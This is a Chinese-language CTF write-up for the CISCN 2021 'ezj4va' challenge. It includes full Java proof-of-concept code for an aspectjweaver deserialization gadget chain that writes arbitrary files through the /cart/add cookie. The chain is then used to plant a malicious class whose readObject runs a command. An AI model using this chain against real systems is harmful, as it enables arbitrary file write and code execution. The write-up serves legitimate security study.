ciscn2021-ezj4va题解

参考文章:

https://forum.butian.net/share/337

https://www.anquanke.com/post/id/249651

0x01 环境搭建

访问robots.txt之后下载www.zip得到项目源码,用idea打开文件夹

image.png

然后配maven和tomcat就行,注意最后需要用ciscn.fina1.ezj4va.launch.Main中的主方法启动

0x02 审计

反序列化点

image.png

看一下给的依赖:

image.png

下面构造链子

链子的后半部分可以用ysoserial中的aspectjweaver链子,完成任意文件写入,我们可以参照ysoserial中的写法

1
2
3
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

从maven repo上下源码,定位到put方法那里

image.png

可以看到第一个参数是string,第二个是bytes

image.png

因此我们通过控制put方法的参数就能写入任意数据,注意要写入的数据为byte数组即可。


回到源码,找到CartServiceImpl#addToCart方法,其中对可控变量调用了put

其中key和entry.getValue().add(oldPrice)是可控的

image.png

cart为他给出的可反序列化的类。

而在ciscn.fina1.ezj4va.controller.CartController#add方法中则调用了这个方法

可以直接通过路由"/cart/add"访问到这个方法

image.png

0x03 编写poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package com.poc;

import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.utils.Deserializer;
import ciscn.fina1.ezj4va.utils.Serializer;

import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;


public class Exp {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, InstantiationException {
System.out.println(getSkus());
System.out.println(getOldCart());
}

public static String getSkus() throws NoSuchFieldException, IOException, IllegalAccessException {
Cart cart = new Cart();
Field skuDescribe = cart.getClass().getDeclaredField("skuDescribe");
skuDescribe.setAccessible(true);
HashMap map = new HashMap();
String inputStr = "test123";//写入数据
String filename = "test";
map.put(filename,inputStr.getBytes());
skuDescribe.set(cart,map);
String serialize = Serializer.serialize(cart);
return(serialize);
}

public static String getOldCart() throws NoSuchFieldException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Cart cart = new Cart();
Field skuDescribe = cart.getClass().getDeclaredField("skuDescribe");
skuDescribe.setAccessible(true);

Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);

Object o = constructor.newInstance("C:\\code\\timu\\ezj4va\\",12);
cart.setSkuDescribe((Map<String, Object>) o);
String cartCookie = Serializer.serialize(cart);

Deserializer.deserialize(cartCookie);
return cartCookie;
}
}

测试可以正常写入数据

image.png

0x04 写入到rce

由于这是个加固题,所以我们对自己的整个服务器位置路径都很清楚,因此写入文件的路径问题就得到了解决。

w4nder👴👴学的姿势,通过写入一个恶意的class然后加载它,好骚好骚

calc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package ciscn.fina1.ezj4va;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class calc implements Serializable {
public calc() {
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
System.out.println("Serializable readObject");
Runtime.getRuntime().exec("calc.exe");
}
}

写入classes目录下,直接加载就行

本机测试:

image.png

远程:

image.png

这个报错绕不过去,更改了jdk版本和他相同也不行

0x05 总结

链子不难,攻击过程没搞完,加固修改uid
poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package com.poc;

import ciscn.fina1.ezj4va.calc;
import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.utils.Deserializer;
import ciscn.fina1.ezj4va.utils.Serializer;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.Map;


public class Exp {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, InstantiationException {
System.out.println(getSkus());
System.out.println(getOldCart());
System.out.println(getCalc());
}


public static String getSkus() throws NoSuchFieldException, IOException, IllegalAccessException {
Cart cart = new Cart();
Field skuDescribe = cart.getClass().getDeclaredField("skuDescribe");
skuDescribe.setAccessible(true);
HashMap map = new HashMap();
new calc();
String inputStr = readFile("C:\\code\\timu\\ezj4va\\target\\classes\\ciscn\\fina1\\ezj4va\\calc.class");//写入数据
String filename = "calc.class";
map.put(filename,inputStr.getBytes(StandardCharsets.UTF_8));
skuDescribe.set(cart,map);
String serialize = Serializer.serialize(cart);
return(serialize);
}

public static String getOldCart() throws NoSuchFieldException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Cart cart = new Cart();
Field skuDescribe = cart.getClass().getDeclaredField("skuDescribe");
skuDescribe.setAccessible(true);

Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructors()[0];
constructor.setAccessible(true);

Object o = constructor.newInstance("/app/target/classes/ciscn/fina1/ezj4va/",12);
cart.setSkuDescribe((Map<String, Object>) o);
String cartCookie = Serializer.serialize(cart);

Deserializer.deserialize(cartCookie);
return cartCookie;
}

public static String readFile(String filePath) throws IOException {
// 根据path路径实例化一个输入流的对象
FileInputStream fis = new FileInputStream(filePath);
//2. 返回这个输入流中可以被读的剩下的bytes字节的估计值;
int size = fis.available();
System.out.println(size);
//3. 根据输入流中的字节数创建byte数组;
byte[] array = new byte[size];
//4.把数据读取到数组中;
fis.read(array);
//5.根据获取到的Byte数组新建一个字符串,然后输出;
String result = new String(array);
result = result.replaceAll("\r|\n", "");
fis.close();
return result;
}

public static String getCalc() throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException {
calc calc = new calc();
String serialize = Serializer.serialize(calc);
return serialize;
}
}